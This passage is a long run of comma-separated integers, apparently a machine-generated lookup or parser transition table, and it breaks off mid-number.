0,0,0,0,0,5693440,0,6496256,5144576,5136384,0,5914624,57943,58449,57943,58454,57943,58462,57943,58465,57943,57943,58479,57943,847,851,1141,895,1159,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,747,0,0,0,1320,0,0,0,0,0,0,0,0,0,0,0,0,368,302,0,0,528,528,528,1411,528,528,528,528,528,528,528,528,528,528,528,528,528,2470,528,528,0,0,1809,0,0,0,0,0,0,0,0,0,0,0,0,0,1842,0,0,1832,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1201,1885,0,0,1886,0,0,0,0,528,528,528,528,528,528,528,528,528,528,3225,528,528,528,1899,528,528,528,528,528,528,528,528,528,1912,528,528,528,0,0,57893,60609,57893,57893,57893,57893,57893,57893,57893,57893,57893,61085,57893,57893,57893,57893,57893,57893,528,528,528,528,58773,1985,57893,57893,57893,57893,57893,59336,57893,57893,57893,57893,57893,58822,57893,57893,57893,57893,58827,57893,57893,57893,57893,57893,58319,57893,57893,57893,57893,0,57916,57916,58341,57916,57916,57893,59342,57893,57893,57893,57893,57893,57893,57893,57893,57893,59355,57893,57893,57893,57893,57893,58859,57893,57893,57893,58866,57893,50676,58773,990,57916,57916,59442,57916,57916,57916,57916,57916,57916,57916,57916,57916,59455,57916,57916,57916,57916,57916,57916,60387,57916,57916,57916,57916,57916,57916,60394,57916,57916,57916,57916,57916,57916,59514,57916,57916,57916,57916,57916,57916,59520,57916,57916,57916,57916,57916,57943,61127,57943,57943,57943,61130,57943,57943,57943,57943,57943,57943,57943,60968,57943,57943,57943,57943,57943,57943,57943,57943,57943,60721,57943,57943,57943,57943,57943,57943,57943,57943,57943,59610,57943,57943,57943,57943,57943,57943,59616,57943,57943,57943,57943,57943,57943,57943,60982,60984,57943,57943,57943,57943,60988,57943,60990,0,0,2293,0,2294,0,0,0,0,0,0,0,0,0,2300,0,0,0,0,2806,0,0,0,0,0,2811,0,2813,2814,0,0,0,0,0,483328,0,0,0,0,0,0,0,0,0,0,801,0,0,0,0,0,0,2325,0,0,0,0,0,0,0,0,0,2334,0,0,0,0,0,0,2822,0,0,0,0,0,0,0,0,0,769,0,0,0,774,0,0,0,2407,0,0,0,0,0,0,0,0,0,0,0,0,0,0,702,528,2399,528,528,528,528,528,528,528,528,528,528,528,2429,528,528,2432,528,528,2475,528,528,528,528,528,528,528,528,528,528,528,528,528,528,2471,528,57893,57893,59863,57893,57893,57893,57893,57893,57893,59871,57893,57893,57893,57893,57893,57893,0,0,57916,57916,57916,57916,57916,57916,57916,57916,60351,57916,57916,57916,57916,57916,57916,57893,59891,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,60640,57916,57916,57916,59949,57916,57916,59952,57916,57916,57916,57916,57916,57916,59960,57916,57916,57893,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,0,0,0,0,57916,57916,60017,57916,57916,57916,57916,57943,57943,57943,57943,57943,57943,57943,57943,57943,60417,57943,57943,57943,57943,57943,60032,57943,57943,60035,57943,57943,57943,57943,57943,57943,60043,57943,57943,528,528,528,57893,57893,57893,0,3654,0,0,0,0,0,0,0,1325,0,0,0,1329,0,0,0,0,57943,57943,60100,57943,57943,57943,57943,2760,528,528,528,528,60109,57893,57893,57893,0,0,0,0,57916,57916,57916,57916,57916,57916,57916,59945,57916,0,0,2781,0,0,0,0,0,0,0,0,0,0,0,0,0,1884,0,0,0,0,2794,0,0,0,0,0,2798,0,0,0,0,0,0,0,0,4784128,0,0,0,0,0,0,0,0,3181,0,0,0,0,0,3186,0,57893,60285,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,60293,57893,57893,1,24578,3,155942,155942,296,0,0,0,0,0,302,303,0,57943,57943,60461,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,4075,0,4076,57943,60472,57943,57943,57943,57943,57943,528,528,528,528,528,57893,57893,57893,57893,57893,0,0,0,0,0,0,0,3150,0,0,0,0,0,0,0,0,0,0,0,0,0,2299,0,0,0,3160,0,0,0,0,0,0,0,0,0,0,0,0,3173,0,0,0,0,2820,0,0,0,2824,0,0,0,0,0,0,0,703,0,0,0,0,0,0,0,0,2331,0,0,0,0,0,0,0,0,3189,0,0,0,0,0,0,0,0,0,0,0,0,3202,3203,0,0,3215,0,528,528,528,528,528,528,528,528,528,528,528,3226,528,528,3230,528,528,528,528,528,528,528,528,528,528,3239,528,528,0,0,0,0,0,0,57893,57893,60279,57893,57893,57893,57893,57893,58320,57893,57893,57893,57893,0,57916,57916,57916,57916,57916,57943,57943,57943,57943,57943,57943,0,0,4289,0,528,60617,57893,57893,60621,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,60630,57893,0,0,3137,3138,0,0,0,0,0,0,0,0,0,0,0,3199,0,0,0,0,57916,57916,57916,60666,57916,57916,60670,57916,57916,57916,57916,57916,57916,57916,57916,57916,58383,57916,57916,57916,57916,57916,57916,57916,60679,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,60687,57916,0,0,0,0,57893,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,528,528,528,57893,57893,57893,57943,57943,57943,57943,60715,57943,57943,60719,57943,57943,57943,57943,57943,57943,57943,57943,57943,59582,57943,57943,57943,57943,57943,57943,57943,57943,60728,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,60736,0,3430,0,0,0,0,0,0,0,0,0,0,0,0,0,0,729,0,528,3495,528,528,528,528,528,528,528,528,528,528,528,528,528,528,528,2904,528,528,528,528,3512,528,3514,528,528,528,528,528,528,528,528,57893,57893,58259,57893,57893,57893,57893,57893,57893,58292,57893,57893,60879,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,59389,57893,57893,57893,57893,60897,57893,60899,57893,57893,57893,57893,57893,57893,57893,57893,57893,59399,57893,57893,57893,57893,57893,57893,57916,60921,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57943,57943,57943,57943,57943,57943,60963,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,60457,57943,528,4015,528,528,528,528,528,528,528,528,528,528,528,57893,61372,57893,302,306,0,0,0,0,0,0,0,0,0,0,0,0,0,1199,0,0,61374,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57916,61388,57916,0,0,0,0,57893,57943,57943,57943,57943,57943,57943,57943,57943,57943,58442,61390,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57943,61404,57943,528,2281,528,528,528,57893,59630,57893,57893,57893,2290,0,2291,0,0,0,0,0,262144,0,0,0,0,0,0,0,0,0,0,663,0,0,666,667,0,61406,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,0,0,0,0,0,0,528,4077,0,0,0,0,0,0,0,4084,0,0,528,528,528,528,4089,0,0,4148,0,4150,528,528,528,528,528,528,528,528,528,528,528,528,1399,528,528,528,0,0,0,313,314,315,0,0,0,0,0,0,0,0,0,0,1240,0,0,0,0,0,0,0,427,0,131072,0,0,0,0,427,0,0,0,0,0,427,459,0,0,0,459,459,459,459,459,459,459,459,459,459,459,459,523,459,523,523,523,459,523,523,523,523,523,523,530,57896,530,57896,530,530,57896,530,530,57919,57896,530,530,57896,57896,57896,57896,57946,57946,57896,57896,57896,57896,57946,57946,57896,621,57896,57973,57919,57896,57896,57896,57896,57896,57896,57896,57919,57919,57896,57896,57946,57896,57896,57896,57973,57973,1,24578,3,155942,155942,296,0,0,0,0,0,302,303,0,0,0,0,2830,0,0,0,0,0,0,0,0,0,0,0,680,681,0,0,0,57893,57893,58307,57893,57893,57893,57893,57893,57893,57893,0,57916,57916,57916,57916,57916,57916,57916,60350,57916,57916,57916,57916,57916,57916,57916,60915,57916,57916,57916,57916,57916,57916,57916,57916,58942,57916,57916,57916,57916,57916,57916,57916,57916,60389,57916,57916,57916,57916,57916,57916,57916,57943,57943,57943,57943,58458,57943,57943,57943,57943,57943,57943,57943,528,528,528,528,528,57893,57893,57893,57893,528,528,1965,528,528,528,528,528,528,1972,528,528,528,528,528,528,528,3501,528,3503,528,528,528,528,528,528,1360,528,528,528,528,528,528,528,528,528,2887,528,2889,528,528,528,528,57893,59408,57893,57893,57893,57893,57893,57893,59416,57893,57893,57893,57893,57893,57893,57893,58823,57893,57893,57893,57893,57893,57893,57893,57893,58840,57893,57893,57893,57893,57893,57893,57893,59508,57916,57916,57916,57916,57916,57916,59516,57916,57916,57916,57916,57916,57916,57916,57916,58909,57916,57916,57916,58912,57916,57916,57916,57893,57893,57893,60286,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,58814,57893,57893,57893,60408,57916,57916,57916,57943,57943,57943,57943,57943,57943,60414,57943,57943,57943,57943,60418,57943,57943,57943,60473,57943,57943,57943,528,528,528,528,528,57893,57893,57893,57893,57893,0,0,0,0,2292,528,528,528,4093,528,4095,528,528,4097,528,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,61077,57893,57893,57893,57893,61450,57893,61452,57893,57893,61454,57893,57893,57916,57916,57916,57916,57916,57916,58879,57916,57916,57916,57916,57916,58891,57916,57916,57916,57916,57916,61464,57916,61466,57916,57916,61468,57916,57916,57943,57943,57943,57943,57943,57943,60956,57943,57943,57943,57943,57943,60960,57943,57943,57943,57943,61478,57943,61480,57943,57943,61482,57943,57943,0,0,0,0,0,0,0,1766,0,0,1769,0,0,0,0,0,320,320,428,429,131072,436,429,437,439,428,436,437,0,316,437,455,460,473,473,473,486,486,486,486,486,486,486,486,486,486,508,508,521,521,522,522,508,522,522,522,508,522,522,522,522,522,522,531,57897,531,57897,531,531,57897,531,531,57920,57897,531,531,57897,57897,57897,57897,57947,57947,57897,57897,57897,57897,57947,57947,57897,622,57972,57972,57920,57897,57897,57897,57897,57897,57897,57897,57920,57920,57897,57897,57947,57897,57897,57897,57972,57972,1,24578,3,155942,155942,296,0,0,0,0,0,302,303,0,0,0,0,3151,0,0,0,0,0,3155,0,0,0,0,0,0,814,0,0,0,0,0,0,819,0,0,0,686,0,0,0,0,0,0,0,0,0,0,0,0,0,368,0,0,0,368,368,702,0,0,0,0,0,0,0,0,0,0,0,0,0,2315,0,0,0,0,0,734,0,0,0,0,0,0,0,0,0,0,0,0,368,303,0,0,0,823,0,0,0,0,0,0,0,0,0,0,0,0,0,0,775,0,0,1174,0,0,0,0,0,0,0,0,0,0,0,0,0,0,804,0,0,0,0,1216,1174,0,0,0,0,0,0,0,0,0,0,0,0,0,2336,0,0,0,0,0,1281,0,0,0,0,0,0,0,0,0,0,0,0,368,342,296,0,0,0,1295,0,0,0,0,0,0,0,0,0,0,0,0,0,2363,0,0,1307,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1229,58773,914,57893,57893,58777,57893,57893,58781,57893,57893,57893,57893,57893,57893,57893,57893,58808,57893,57893,57893,57893,57893,57893,57893,58795,57893,58800,57893,57893,58804,57893,57893,58807,57893,57893,57893,57893,57893,57893,57893,58838,57893,57893,57893,57893,57893,57893,57893,57893,58841,57893,57893,57893,57893,57893,57893,57893,58872,57916,57916,58876,57916,57916,57916,57916,57916,57916,57916,57916,58890,57916,58895,57916,0,0,0,0,57893,57943,57943,57943,57943,57943,57943,58428,57943,57943,58444,57916,58899,57916,57916,58902,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,59985,57916,57916,57916,1860,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1245,528,528,528,528,1902,528,528,528,528,528,528,528,528,528,1914,528,528,0,57893,57893,57893,57893,57893,57893,155942,1151,0,0,1156,0,0,0,0,327,327,377,0,0,0,0,0,0,0,0,0,1210,0,368,368,0,1213,0,1929,528,528,528,528,528,528,528,528,528,528,528,528,528,528,528,896,57893,57893,57893,59345,57893,57893,57893,57893,57893,57893,57893,57893,57893,59357,57893,57893,1,24578,3,155942,156282,296,0,0,0,0,0,302,303,0,57916,57916,59445,57916,57916,57916,57916,57916,57916,57916,57916,57916,59457,57916,57916,57916,57916,57916,59967,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57943,57943,57943,57943,61474,57943,59541,57943,57943,57943,57943,57943,57943,57943,57943,57943,59553,57943,57943,57943,57943,57943,57943,57943,61152,57943,57943,57943,57943,57943,57943,57943,528,528,528,2763,2764,57893,57893,57893,60112,57943,57943,57943,59591,59592,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,59601,57943,57943,57943,57893,59917,59918,59919,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,58848,57893,57893,58852,57916,59989,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,60002,57943,60072,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,60085,57893,57893,60325,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,58849,57893,57893,0,0,0,3216,528,528,528,528,528,528,528,528,528,528,528,528,528,2484,528,528,528,528,528,3243,528,528,528,528,528,528,528,528,528,528,528,528,528,2891,528,528,57893,57893,57893,57893,60634,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,0,2999,0,0,0,61125,57916,57916,57916,57916,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,60962,528,528,4092,528,528,528,528,528,528,528,57893,61444,57893,61445,57893,57893,57893,2589,0,0,0,57916,57916,57916,57916,57916,57916,57916,57916,57916,61106,57916,57916,57916,57916,57916,57916,57916,57916,59954,57916,57916,59958,57916,57916,57916,59962,57893,61449,57893,57893,57893,57893,57893,57893,57893,57893,57916,61458,57916,61459,57916,57916,57893,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,59540,57916,61463,57916,57916,57916,57916,57916,57916,57916,57916,57943,61472,57943,61473,57943,57943,528,528,1715,528,528,1718,57893,57893,59064,57893,57893,59067,1151,0,57943,61477,57943,57943,57943,57943,57943,57943,57943,57943,0,0,0,0,0,0,0,1814,0,0,0,0,0,0,0,0,528,1338,528,528,528,528,528,528,528,528,4291,57893,57893,57893,61637,57916,57916,57916,61639,57943,57943,57943,61641,0,0,0,0,3178,0,0,0,0,0,0,0,0,0,0,0,1312,0,0,0,0,326,327,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1186,0,0,0,377,0,131072,0,0,0,440,377,0,0,445,451,0,377,461,474,474,474,487,487,487,487,487,487,487,487,487,487,509,509,509,509,509,509,509,509,509,509,509,509,509,509,509,509,532,57898,532,57898,532,532,57898,532,532,57921,57898,532,532,57898,57898,57898,57898,57948,57948,57898,57898,57898,57898,57948,57948,57898,532,57898,57898,57921,57898,57898,57898,57898,57898,57898,57898,57921,57921,57898,57898,57948,57898,57898,57898,1,24578,3,155942,155942,296,0,0,0,0,0,302,303,0,1188,0,1190,1191,0,0,0,1193,1194,0,0,0,0,0,0,0,0,4997120,0,0,5038080,0,0,0,5095424,5103616,0,0,1232,1233,0,0,0,0,0,0,0,0,0,0,0,0,370,0,0,0,1263,1265,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1200,0,1317,0,0,0,0,0,0,0,0,0,1303,0,0,0,1331,1193,528,528,1390,528,528,1392,528,528,528,528,1397,528,528,528,528,528,528,3500,528,528,528,528,528,528,528,528,528,528,61443,57893,57893,57893,57893,57893,58773,914,57893,57893,58778,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,2588,2999,0,0,0,58831,57893,57893,57893,57893,58836,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,58811,58813,57893,57893,57893,57893,58873,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,60380,57916,58900,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,58928,57916,57916,58915,57916,57916,57916,57916,57916,57916,57916,58924,57916,57916,58926,57916,57916,57916,57916,57916,59980,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,61530,57916,57916,57943,57943,57916,58931,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,58950,57916,57916,57916,58956,57916,57916,57916,57916,0,58831,57943,57943,58967,57943,57943,57943,57943,57943,57943,60464,57943,57943,57943,57943,57943,57943,57943,57943,60470,57943,57943,57943,57943,59018,57943,57943,59020,57943,57943,57943,57943,59026,57943,57943,57943,528,528,57893,57893,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2778,1963,528,528,528,528,528,528,528,528,528,528,528,528,528,528,528,901,0,0,2293,0,2294,0,0,0,0,0,2297,0,0,0,0,0,0,316,317,318,319,320,321,322,323,324,325,57893,59862,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,60650,57893,59878,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,58816,57893,59947,57916,57916,57916,57916,59951,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57943,57943,57943,57943,57943,61475,60015,57916,57916,57916,57916,57916,57916,57943,57943,57943,57943,57943,57943,57943,57943,57943,61133,57943,60030,57943,57943,57943,57943,60034,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,60723,57943,57943,57943,60098,57943,57943,57943,57943,57943,57943,528,528,528,528,528,57893,57893,57893,57893,57893,0,0,0,1729,0,0,0,0,2844,0,0,0,0,0,2849,0,0,0,0,0,0,0,1852,0,0,0,0,0,0,0,1859,0,57916,57916,57916,60347,57916,60348,57916,57916,57916,57916,57916,57916,57916,57916,57916,58385,57916,57916,57916,57916,58403,57916,0,0,3205,0,0,0,0,0,0,0,0,0,0,0,0,0,2374,0,0,528,528,528,528,3253,528,528,528,528,528,528,528,528,528,528,528,528,1926,528,528,528,57916,60688,57916,57916,57916,57916,57916,57916,57916,60694,57916,57916,57916,57916,57916,57916,58906,58908,57916,57916,57916,57916,57916,57916,57916,57916,59451,57916,57916,57916,57916,57916,57916,57916,57916,59498,57916,57916,57916,57916,57916,57916,57916,57916,60672,57916,57916,57916,57916,57916,57916,57916,57943,57943,60737,57943,57943,57943,57943,57943,57943,57943,60743,57943,57943,57943,57943,57943,57943,57943,61339,57943,57943,57943,528,57893,0,0,0,0,0,0,3671,0,0,0,0,0,0,0,0,0,0,0,0,665,0,0,668,57916,61126,57916,57916,57916,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,60961,57943,57916,57916,57916,61239,57916,57916,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,60959,57943,57943,57943,57943,61258,57943,57943,528,528,57893,57893,0,0,0,0,0,0,0,0,0,0,0,0,2776,2777,0,528,528,528,528,4018,528,528,528,528,528,528,528,528,57893,57893,57893,57893,57893,57893,58280,57893,57893,57893,57893,57893,57893,57893,57893,61377,57893,57893,57893,57893,57893,57893,57893,57893,57893,57916,57916,57916,61223,57916,57916,57916,57916,57916,57916,61393,57916,57916,57916,57916,57916,57916,57916,57916,57916,57943,57943,57943,57943,60025,57943,57943,57943,57943,57943,57943,57943,61409,57943,57943,57943,57943,57943,57943,57943,57943,57943,0,0,0,4241,0,4243,528,528,528,528,528,4094,528,528,528,528,528,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,59372,57893,57893,57893,61451,57893,57893,57893,57893,57893,57893,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,61318,57916,57916,57916,61465,57916,57916,57916,57916,57916,57916,57943,57943,57943,57943,57943,57943,61244,57943,57943,57943,57943,57943,57943,61479,57943,57943,57943,57943,57943,57943,0,0,0,0,0,0,0,1865,1866,0,0,0,1869,0,0,0,0,0,328,329,330,331,0,0,0,0,0,0,0,0,0,0,1855,1856,0,1857,1858,0,0,376,0,0,0,0,0,328,376,331,375,0,0,0,0,0,0,363,0,0,0,0,0,0,0,0,0,139264,147456,0,0,450560,0,0,0,331,0,0,0,0,0,0,376,0,0,0,0,0,0,0,0,5210112,0,5365760,0,5554176,5570560,5578752,0,462,475,475,475,488,488,488,488,499,501,488,488,499,488,510,510,510,510,510,525,510,510,510,525,510,510,510,510,510,510,533,57899,533,57899,533,533,57899,533,533,57922,57899,533,533,57899,57899,57899,57899,57949,57949,57899,57899,57899,57899,57949,57949,57899,533,57899,57899,57922,57899,57899,57899,57899,57899,57899,57899,57922,57922,57899,57899,57949,57899,57899,57899,1,24578,3,155942,155942,296,0,0,0,0,0,302,303,0,0,670,671,0,0,0,0,0,0,0,0,0,0,0,683,684,685,0,0,0,689,0,0,0,0,0,0,0,0,0,0,368,368,0,0,0,0,0,0,707,708,0,0,0,0,0,714,0,0,0,718,0,720,0,0,0,0,0,0,727,0,0,0,0,0,1163,0,0,0,0,0,0,0,0,0,0,6152192,0,0,0,6316032,0,731,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1292,778,779,0,0,0,0,0,0,0,0,788,0,790,0,0,0,0,0,1201,0,0,0,0,0,0,0,0,0,0,3675,0,0,0,3830,0,822,0,0,0,0,0,822,822,825,0,0,0,790,0,0,0,0,0,1235,0,1237,0,0,0,0,1242,0,0,0,0,0,1268,0,0,0,0,0,0,0,0,0,0,3675,0,0,3829,0,0,0,0,834,0,0,0,0,0,0,0,788,0,0,0,834,528,528,0,57893,57893,57893,57893,57893,57893,155942,1151,0,302,0,0,306,1,24578,3,0,0,4366336,0,0,0,0,0,65536,303,0,528,848,528,854,528,528,869,528,528,880,528,885,528,528,894,897,902,528,910,528,57893,57893,57893,58267,57893,58273,57893,57893,58288,57893,57893,58299,57893,58304,57893,57893,58313,58316,58321,57893,58329,57893,0,57916,57916,57916,58343,57916,0,0,0,0,57893,57943,57943,57943,57943,57943,57943,58430,57943,57943,57943,57943,57943,59547,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,61417,57943,0,0,0,58349,57916,57916,58364,57916,57916,58375,57916,58380,57916,57916,58389,58392,58397,57916,58405,57916,0,0,0,0,58304,57943,57943,57943,58418,57943,58424,57943,57943,58439,57943,1906,528,528,528,528,59349,57893,57893,57893,57893,0,0,0,0,0,3140,0,0,3143,3144,0,0,3147,3148,0,57943,58450,57943,58455,57943,57943,58464,58467,58472,57943,58480,57943,848,528,528,1142,902,528,0,57893,58267,57893,58492,58321,57893,155942,1151,0,0,0,0,0,0,364,365,366,367,0,0,368,0,296,0,0,0,0,1176,0,0,0,0,0,0,0,1183,0,0,0,0,0,0,3165,0,0,0,0,0,0,0,0,0,139264,147456,0,0,0,421,0,0,1203,1204,0,0,0,0,1208,0,0,0,368,368,0,0,0,0,0,0,0,0,0,0,0,0,713,0,0,1231,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1244,0,0,0,1248,0,0,1200,0,0,0,0,0,749,0,0,0,0,0,0,0,0,0,0,0,726,0,0,0,0,528,1347,528,528,528,528,528,528,1362,528,528,528,1367,528,528,528,528,528,2464,528,528,528,528,528,528,528,528,528,528,528,1910,528,528,528,528,58773,914,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,58786,57893,57893,57893,0,0,0,0,57916,57916,57916,57916,57916,57916,59944,57916,57916,57893,57893,57893,58801,57893,57893,57893,58806,57893,57893,57893,57893,57893,57893,57893,57893,58809,57893,57893,57893,57893,57893,57893,57893,57893,57893,58854,57893,57893,57893,57893,57893,57893,58865,57893,50676,58773,990,57916,57916,57893,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,59537,57943,57943,528,1351,528,1408,528,528,58790,57893,57893,58847,57893,57893,1151,0,57916,57916,57916,58901,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,58391,57916,57916,57916,57916,57916,57916,58918,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,58396,57916,57916,57916,57916,57916,57916,58933,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,58949,57916,0,0,0,0,57893,57943,57943,57943,57943,57943,57943,58431,57943,57943,57943,57943,57943,60063,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,60428,57943,60430,57943,57943,57943,57943,58975,57943,57943,57943,57943,57943,57943,58990,57943,57943,57943,58995,57943,2280,528,2282,528,528,59629,57893,59631,57893,57893,0,0,0,0,0,0,1298,0,0,0,0,1303,0,0,0,0,59055,57943,528,528,528,528,528,528,57893,57893,57893,57893,57893,57893,1151,1724,0,1760,0,0,1763,1764,1765,0,1767,1768,0,0,0,0,1773,0,0,0,0,3192,0,0,0,0,3197,0,0,0,0,0,0,0,2368,2369,0,0,0,0,0,0,0,692,0,0,0,0,0,0,699,368,1807,0,0,0,0,0,0,0,0,1816,1817,0,0,0,0,0,0,373,0,0,0,0,0,0,0,0,0,139264,147456,0,0,352256,0,0,0,1823,0,0,1825,0,0,0,0,0,0,0,0,1829,1830,1831,0,1870,0,0,0,1888,1740,1740,1890,528,1892,528,1893,1894,528,1896,528,528,528,1900,528,528,528,528,528,528,528,528,528,1913,528,528,0,0,0,0,0,0,57893,60278,57893,57893,57893,57893,57893,57893,0,2592,57916,57916,57916,57916,57916,57916,57916,57916,59969,57916,57916,57916,57916,57916,57916,59974,57916,528,528,1917,528,528,528,528,1921,528,1923,528,528,528,528,528,528,1393,528,1395,528,528,528,528,528,528,528,872,528,528,528,528,528,528,528,528,528,3710,528,528,528,528,528,528,528,528,528,528,1933,1934,1936,528,528,528,528,528,528,528,1944,1945,528,1947,528,528,1950,1951,528,528,528,528,528,528,528,1959,528,1961,528,1964,528,528,528,528,528,1971,528,528,1973,528,528,528,528,528,528,3855,528,528,528,528,528,57893,57893,57893,57893,57893,57893,58279,57893,57893,57893,57893,57893,528,528,528,528,58773,0,59332,57893,59334,57893,59335,57893,59337,57893,59339,57893,302,306,0,0,0,0,3141,0,0,0,3145,0,0,0,0,0,0,2832,0,0,0,0,0,0,0,0,0,2835,0,0,0,0,0,0,57893,57893,59343,57893,57893,57893,57893,57893,57893,57893,57893,57893,59356,57893,57893,57893,0,0,0,0,57916,57916,57916,57916,59942,57916,57916,57916,57916,57916,59515,57916,57916,59517,57916,57916,57916,57916,57916,57916,57916,0,57893,57943,57943,58966,57943,57943,58970,57943,57893,59360,57893,57893,57893,57893,59364,57893,59366,57893,57893,57893,57893,57893,57893,57893,58839,57893,57893,58846,57893,57893,57893,57893,57893,57893,57893,57893,59376,59377,59379,57893,57893,57893,57893,57893,57893,57893,59387,59388,57893,2770,2291,0,2771,2294,0,0,0,0,0,0,0,0,0,0,770,0,0,0,0,0,59390,57893,57893,59393,59394,57893,57893,57893,57893,57893,57893,57893,59402,57893,59404,57893,2770,2291,0,2771,2294,0,0,0,0,0,0,2775,0,0,0,0,0,784,0,0,679,0,0,0,0,0,0,0,660,661,0,0,0,0,0,0,0,384,0,139264,147456,0,406,0,0,406,59407,57893,57893,57893,57893,57893,59415,57893,57893,59417,57893,57893,57893,57893,57893,57893,0,0,57916,57916,57916,57916,60660,57916,57916,57916,57916,59443,57916,57916,57916,57916,57916,57916,57916,57916,57916,59456,57916,57916,57916,57916,57916,58878,57916,57916,57916,58882,57916,57916,58893,57916,57916,58897,59460,57916,57916,57916,57916,59464,57916,59466,57916,57916,57916,57916,57916,57916,57916,57916,59467,59468,57916,57916,57916,57916,57916,57916,57916,57916,59476,59477,59479,57916,57916,57916,57916,57916,57916,57916,59487,59488,57916,59490,57916,57916,59493,59494,57916,57916,57916,57916,57916,57916,57916,59502,57916,59504,57916,59507,57943,57943,57943,59560,57943,59562,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,60987,57943,57943,57943,59572,59573,59575,57943,57943,57943,57943,57943,57943,57943,59583,59584,57943,57943,59586,57943,57943,57943,57943,57943,60731,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,60081,57943,57943,57943,57943,57943,59589,59590,57943,57943,57943,57943,57943,57943,57943,59598,57943,59600,57943,59603,57943,57943,57943,57943,57943,60739,57943,57943,57943,60742,57943,60744,57943,57943,57943,57943,57943,57943,60740,57943,57943,57943,57943,57943,57943,57943,57943,57943,59023,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,59611,57943,57943,59613,57943,57943,57943,57943,57943,57943,57943,57943,57943,60039,57943,57943,57943,57943,57943,57943,0,0,2293,0,2294,0,0,0,0,0,0,0,0,0,0,2301,0,0,2304,2305,0,0,0,2309,0,0,0,0,0,0,0,0,0,6406144,5357568,0,5505024,0,0,0,0,2352,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1276,0,1825,0,2365,0,0,0,0,0,0,0,0,2372,0,0,2375,0,0,0,0,3217,528,528,528,528,528,528,528,528,528,528,528,528,2929,528,528,528,0,2378,0,0,0,0,0,0,2385,0,2387,0,0,0,0,0,0,403,0,0,0,0,0,0,0,0,332,333,0,0,0,0,0,0,0,0,334,335,336,0,0,0,0,0,0,0,0,2396,0,0,0,0,0,0,0,0,0,0,0,0,697,698,0,368,2406,0,0,0,0,0,0,0,0,0,0,0,0,0,2417,0,0,0,0,3433,0,0,0,0,0,0,0,0,0,0,0,786,0,0,0,528,2433,528,2435,528,528,528,528,528,528,2443,528,2445,528,528,528,528,528,1414,528,528,528,528,528,528,528,528,528,528,1956,528,528,528,528,528,528,528,528,2451,528,528,528,528,528,528,528,528,528,528,528,528,528,2902,528,528,2473,528,528,528,528,528,528,2480,528,528,528,528,528,528,528,528,1906,528,528,528,528,528,528,528,57893,57893,57893,59864,57893,59866,57893,57893,57893,57893,57893,57893,59874,57893,59876,57893,2770,2291,0,2771,2294,0,0,2773,0,0,0,0,0,0,0,0,2359296,418,418,0,0,0,0,0,57893,57893,59904,59905,57893,57893,57893,57893,57893,57893,59912,57893,57893,57893,57893,57893,57893,60885,57893,60887,57893,57893,57893,57893,57893,57893,57893,59397,57893,57893,59400,57893,57893,57893,57893,57893,59930,5993